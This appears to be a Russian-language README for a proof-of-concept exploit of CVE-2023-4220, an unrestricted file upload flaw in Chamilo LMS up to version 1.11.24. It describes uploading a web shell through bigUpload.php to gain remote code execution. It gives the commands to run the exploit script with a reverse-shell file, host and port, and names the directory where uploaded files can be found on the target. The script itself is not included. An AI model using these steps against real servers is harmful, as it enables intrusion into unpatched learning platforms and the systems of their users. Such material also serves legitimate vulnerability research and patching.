Chamilo-LMS-CVE-2023-4220-Exploit

Это эксплойт для неограниченной загрузки файлов в функции большой загрузки файлов в Chamilo-LMS по пути /main/inc/lib/javascript/bigupload/inc/bigUpload.php в Chamilo LMS <= v1.11.24. Злоумышленники могут получить удаленное выполнение кода через загрузку веб-шелла. Затем это позволяет загружать произвольные файлы в каталог /main/inc/lib/javascript/bigupload/files.

Доказательство концепции уязвимости

• Сначала вы можете запустить эксплойт, чтобы узнать, как им пользоваться:

chmod +x CVE-2023-4220.sh
./CVE-2023-4220.sh

• Затем необходимо ввести требуемые параметры, например:

~$ ./CVE-2023-4220.sh -f reverse_file -h host_link -p port_in_the_reverse_file

• Здесь мы можем найти загруженный файл на сервере

http://target.test/main/inc/lib/javascript/bigupload/files/